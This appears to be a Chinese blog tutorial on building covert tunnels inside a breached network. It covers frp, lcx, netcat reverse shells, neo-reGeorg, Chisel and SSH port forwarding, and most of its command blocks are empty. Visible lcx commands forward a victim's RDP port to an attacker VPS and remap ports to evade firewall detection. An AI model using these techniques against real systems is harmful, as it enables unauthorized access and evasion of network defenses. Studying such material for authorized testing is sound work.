内网渗透隧道搭建
内网渗透隧道搭建
隐藏通信隧道技术通常用于在访问受限的内网环境中完成内网之内、内网与公网之间安全、稳定的数据传输。
在打进内网之后,为了方便我们进一步操作,我们需要搭建好隧道。在一些真实的网络环境中,网络中的主机彼此进行通信一般是通过建立TCP连接然后进行数据通信,但是企业出于安全方面的考虑,也通常会在边界设置一些软/硬件防火墙来检查内部网络和外部网络的连接情况。隧道不仅可以绕过一些防火墙的限制,还能使我们在本机浏览器便捷地访问内网的一些web访问,同时也有助于团队协作渗透
一些常见的隧道:
1 |
|
就挑几个常用的记录一下吧,感觉一些时候都是用neo-reGeorg+proxifier就可以达到目的了
判断网路流量的连通性
首先要判断此时的流量是否出的去、进的来。方便之后用对应放行的协议或端口来搭建相应的隧道。
- 判断ICMP协议
1 |
|
ping一下外网的地址看看能不能通
- 判断TCP、UDP协议
nc一下下
1 |
|
- 判断HTTP协议
1 |
|
1 |
|
- 判断DNS协议
在windwos中可以用nslookup,在linux中可以利用dig
1 |
|
1 |
|
网络层隧道(略)
传输层隧道
端口转发&映射基础概念
- 端口转发:
端口转发(Port forwarding),有时被叫做隧道,是安全壳(SSH) 为网络安全通信使用的一种方法。端口转发是转发一个网络端口从一个网络节点到另一个网络节点的行为,其使一个外部用户从外部经过一个被激活的NAT路由器到达一个在私有内部IP地址(局域网内部)上的一个端口。
- 端口映射:
端口映射是NAT的一种,功能是把在公网的地址转翻译成私有地址, 采用路由方式的ADSL宽带路由器拥有一个动态或固定的公网IP,ADSL直接接在HUB或交换机上,所有的电脑共享上网。
端口转发,转发的重点在“转”上面。送快递的过来,把所有快递都交给门口保安,保安再根据每件快递上的收件人来分发。
端口映射就是在大门口给每个人装个柜子,送快递的直接按收件人名字,把快递放到对应的柜子里面。
在某些端口(如3389)端口的数据被屏蔽时,我们可以使用一些端口转发工具来把3389的流量给转发出来或者映射到服务器的其他端口上。
frp
这也是非常常用的代理方法,目标机可以正常访问互联网,可直接在目标机用frp挂上socks代理
项目地址:https://github.com/fatedier/frp
配置frp代理还需要一个有公网ip的vps来当跳板,当然这也方便了后续的多人协作,其他队友只需要连上vps对应端口的代理,就可以正常使用代理了
使用方法也是很简便
服务器端(vps):
编辑frps.ini文件
1 |
|
这里对应的7000是受害机开放代理的端口
然后 执行
1 |
|
目标机器:
1 |
|
use_encryption = true 启用加密 [通信内容加密传输,有效防止流量被拦截]
use_compression = true 启用压缩 [传输内容进行压缩,有效减小传输的网络流量,加快流量转发速度,但会额外消耗一些CPU资源]
默认均不开启
给予权限chmod 777 /frpc,然后cd 到这个目录执行
1 |
|
最后在自己电脑浏览器或者proxifier之后正常配置代理就行了
lxc端口转发
lcx.exe是一个端口转发工具,有Windows版和Linux版两个版本,Windows版是lcx.exe,Linux版为portmap
功能:端口转发(listen和slave成对使用)、端口映射(tran)
命令参数:
1 |
|
需要先将lcx.exe上传到目标主机
- 内网端口转发
执行以下命令:
1 |
|
lcx.exe -slave 43.15.xx.xx 7089 192.168.1.66 3389
表示将本机IP地址192.168.1.66的3389端口转发到远程地址43.15.xx.xx的7089端口。
然后攻击者主机(vps)执行以下命令:
1 |
|
lcx.exe -listen 7089 3389
这是我在公网43.15.xx.xx服务器上执行的命令,他表示本机监听7089的端口接受远程3389传来的数据。
之后用远程桌面(mstsc)远程连接,登录“<攻击者主机ip>:<接受被控制主机的端口>”,或者直接在vps上127.0.0.1登录就好了
- 本地端口映射
端口转发是把内网的流量给转发到我们公网的VPS中,而端口映射则是把内网中一个端口的流量转发到该内网中另外一个端口中以至于逃避防火墙的检测
1 |
|
例把内网中3389的流量转发到33891端口中
lcx.exe -tran 33891 192.168.178.133:3389
netcat
也就是常用的nc,Netcat简称NC,被称为网络工具中的瑞士军刀,体积小巧,但功能强大。它可以用作端口监听、端口扫描、远程文件传输、还可以实现远程shell等功能。
Kali是自带Netcat的
安装:
1 |
|
使用语法:
1 |
|
参数说明:
1 |
|
- 本地主机端口监听
1 |
|
- 连接到远程主机
1 |
|
- 端口扫描
可以扫描指定主机端口是否开放
1 |
|
- 端口监听
监听本地端口,当访问该端口时会输出该信息到命令行
1 |
|
获取shell
如果客户端连接服务器,客户端想要获取服务器shell,就成正向shell;如果客户端连接服务器,服务器想要获取客户端的shell,就叫反向shell。一般渗透过程中都是用反向shell比较多
- 正向shell
目标(受害)机中执行
1 |
|
在攻击机上执行
1 |
|
但这种shell很容易被各种边界设备所拦截
- 反向shell
攻击机上执行
1 |
|
受害机执行
1 |
|
- 受害机无nc反弹shell
很多情况下受害机并没有安装netcat
用bash
1 |
|
用php
1 |
|
用python
1 |
|
用perl
1 |
|
都没有就寄吧(用其他方法),哈哈哈哈
- 内网代理
情景:已经获取了Web服务器的权限,通过攻击机(Kali)不能访问内网数据库服务器,但通过web服务器能访问数据库服务器
在Kali执行
1 |
|
数据库服务器执行
1 |
|
web服务器执行
1 |
|
应用层隧道
HTTP/HTTPS协议
neo-reGeorg+proxifier
弊端:需要将对应脚本放在web目录下,如果有蓝队或者维护人员及时把脚本删除,隧道可能就失效了
先用neo-reGeorg生成对应的脚本
1 |
|
可以看到已经生成对应的脚本了,接下来就是将对应语言的脚本添加到目标可访问的web目录下
比如我的目标是对应的是PHP语言,网站根目录为var/www/html
就把tunnel.php放在/var/www/html路径下
这里能看到已经上传了tunnel文件,(这是我只是在自己的vps上演示,实际情况更多的是用C2去将脚本上传到指定目录下)
之后就是利用上传的脚本建立socket5隧道
1 |
|
可以看到已经成功使用本地端口1080创建了隧道并建立连接
接下来就是proxifier连接
profile->add
设置代理服务器为 127.0.0.1:1080 socks5代理
如果Neo-reGeorg与profiler跑在同一台机器上面需要将python的代理模式选择为直连,否则会陷入死循环。
这样就成功啦,是不是很简单
当你只使用socks5 连接到C2时(公网访问不了),你可以用neo-reGeorg在你C2的服务器上搭建隧道,然后只需在你的电脑配置好新的规则和服务就可以了,不需要在本地搭建隧道
Chisel
不知道该把它放在应用层还是传输层./
缺点:文件比较大。
Chisel是一个快速稳定的TCP/UDP隧道工具,该工具基于HTTP实现其功能,并通过SSH保证通信安全。Chisel是一个可执行文件,其中包含了客户端和服务器端,该工具基于Go(golang)语言开发,因此具备较好的跨平台特性。
使用教程:https://mysecroad.github.io/posts/13593.html
项目地址:https://github.com/jpillora/chisel/releases
用法类似frp
vps执行:
1 |
|
受害机
1 |
|
然后连接vps:6000
的socks5代理
SSH协议
几乎所有的unix/linux主机都支持SSH协议,都可以通过SSH通信而在现实情况中,网管员经常会使用SSH连接来远程管理内网中的主机,所以一般情况下,边界设备并不会拦截SSH流量,加之SSH流量是加密的,一般的入侵检测工具很难检测出SSH流量的异常,所以渗透测试人员往往能通过SSH建立起一些其他隧道难以建立的TCP通信隧道
一般利用SSH客户端去连接服务端命令如下,192.168.1.1为服务端ip
1 |
|
SSH常见参数:
1 |
|
- 本地转发
网上扒个图
假设环境:攻击机无法访问数据库服务器,可以访问web服务器且已获得web服务器的权限,web服务器和数据库服务器可以互相访问
现在通过本地端口转发,访问攻击机本地的2021端口便可以打开数据库服务器的远程桌面
首先在攻击机上执行
1 |
|
这条命令的意思就是攻击机去连接web服务器,连上之后由web服务器去连接数据库服务器的3389端口并把数据通过SSH通道传给攻击机
需要web服务器的密码
可以本地查看一下2021端口是否被监听来检查通道的建立是否正常
1 |
|
接下来在攻击机访问把本地2021端口即可打开数据库服务器的远程桌面
1 |
|
- 远程转发
示例环境:
攻击机无法访问数据库服务器,也无法访问web服务器但已获得web服务器的权限,web服务器和数据库服务器可以互相访问,web服务器可以访问具有公网IP的攻击机
想要通过访问攻击机本机的7890端口来访问数据库服务器的3389端口
web服务器上执行
1 |
|
在攻击机访问本地7890端口
1 |
|
- 动态转发
在攻击机上执行
1 |
|
输入web服务器密码后
在本地打开浏览器设置网络代理,通过浏览器访问内网域控制器1.1.1.2
再扒张图
查看连接情况
1 |
|